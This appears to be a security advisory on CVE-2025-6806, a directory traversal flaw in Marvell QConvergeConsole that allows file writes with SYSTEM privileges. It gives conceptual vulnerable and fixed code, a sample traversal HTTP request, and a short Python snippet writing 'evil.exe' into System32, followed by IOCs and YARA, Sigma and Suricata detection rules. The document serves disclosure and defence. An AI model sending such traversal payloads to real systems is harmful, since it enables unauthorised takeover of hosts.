CVE-2025-6806

Executive Summary

CVE-2025-6806 is a critical directory traversal vulnerability in Marvell QConvergeConsole, specifically within the decryptFile method. The flaw allows unauthenticated remote attackers to write arbitrary files to the filesystem with SYSTEM privileges. This can lead to full system compromise, including remote code execution, data exfiltration, or persistent backdoor installation. The vulnerability has a CVSS score of 8.2, indicating high severity, and no patch is currently available. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the lack of authentication requirements makes it a high-priority target for threat actors.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Unauthenticated remote file write to SYSTEM context enables complete system takeover.

Deep Dive & Mechanics

The vulnerability resides in the decryptFile method of Marvell QConvergeConsole. This method is designed to decrypt files, but it fails to properly validate user-supplied paths. An attacker can supply a path with directory traversal sequences (e.g., ../) to write decrypted content to arbitrary locations on the filesystem. Since the service runs with SYSTEM privileges, the attacker can overwrite critical system files, create new executables, or modify configuration files to achieve remote code execution or persistence.

The lack of authentication means any network-accessible instance of QConvergeConsole is vulnerable. The attack does not require any prior knowledge or credentials, making it highly exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public void decryptFile(String userPath, byte[] encryptedData) {
    // No validation of userPath
    File outputFile = new File(userPath);
    // Decrypt and write to userPath
    FileOutputStream fos = new FileOutputStream(outputFile);
    fos.write(decrypt(encryptedData));
    fos.close();
}

Patched Code (Conceptual):

public void decryptFile(String userPath, byte[] encryptedData) {
    // Validate and sanitize path
    String sanitizedPath = sanitizePath(userPath);
    if (!sanitizedPath.startsWith("/allowed/base/directory")) {
        throw new SecurityException("Invalid path");
    }
    File outputFile = new File(sanitizedPath);
    // Decrypt and write to sanitized path
    FileOutputStream fos = new FileOutputStream(outputFile);
    fos.write(decrypt(encryptedData));
    fos.close();
}

The patched version includes path validation to ensure the output file is within an allowed base directory, preventing traversal attacks.

Exploitation & Lab Setup

Red Team

Exploit Concept: An attacker can send a crafted HTTP request to the QConvergeConsole service, targeting the decryptFile endpoint. The request includes a path parameter with directory traversal sequences to write a malicious file (e.g., a web shell or executable) to a system directory.

Example Request (Conceptual):

POST /api/decryptFile HTTP/1.1
Host: target:port
Content-Type: application/json

{
  "path": "../../Windows/System32/evil.exe",
  "data": "base64_encoded_encrypted_payload"
}

Lab Setup:

1. Deploy a vulnerable Marvell QConvergeConsole instance in an isolated environment.
2. Use a tool like Burp Suite or custom Python script to send the malicious request.
3. Verify that the file is written to the target location with SYSTEM privileges.

Python Exploit Snippet:

import requests

url = "http://target:port/api/decryptFile"
payload = {
    "path": "../../Windows/System32/evil.exe",
    "data": "base64_encoded_encrypted_payload"
}
response = requests.post(url, json=payload)
print(response.status_code)

Blue Team

Detection:

• Monitor for directory traversal patterns in HTTP requests (e.g., ../, ..\\).
• Alert on file write operations to sensitive directories (e.g., System32, Windows, /etc).
• Use file integrity monitoring (FIM) to detect unauthorized file changes.

Mitigation:

• Implement strict input validation and path sanitization.
• Apply the principle of least privilege to the service account.
• Use a web application firewall (WAF) to block traversal attempts.
• Isolate the QConvergeConsole service in a restricted network segment.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/decryptFile with path parameters containing ../ or ..\\.
  • Unusual outbound connections from the QConvergeConsole host.
• File System IOCs:
  • Unexpected files in system directories (e.g., C:\Windows\System32\evil.exe, /etc/cron.d/evil).
  • Modified system binaries or configuration files.
• Process IOCs:
  • Unusual child processes spawned by the QConvergeConsole service.
  • Processes running from non-standard locations.

Detection Engineering

YARA Rule

rule CVE_2025_6806_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts in Marvell QConvergeConsole decryptFile method"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-6806"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $method = "decryptFile"
    condition:
        $method and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-6806 Directory Traversal in Marvell QConvergeConsole
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts targeting the decryptFile method
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: marvell_qconvergeconsole
detection:
    selection:
        http.method: "POST"
        http.url: "/api/decryptFile"
        http.body|contains: 
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection
falsepositives:
    - Legitimate use of paths with dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6806 Directory Traversal in Marvell QConvergeConsole"; flow:to_server; content:"POST"; http_method; content:"/api/decryptFile"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict access to the QConvergeConsole service if not required.
   • Apply network segmentation to limit exposure.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Apply vendor patch when available.
   • Implement input validation and path sanitization in the decryptFile method.
   • Use a secure file write mechanism that restricts output to a safe directory.

3. Compensating Controls:

   • Deploy a WAF with rules to block directory traversal patterns.
   • Use endpoint detection and response (EDR) to detect anomalous file writes.
   • Enforce least privilege for the service account.

Valters IT
Securing Digital Frontiers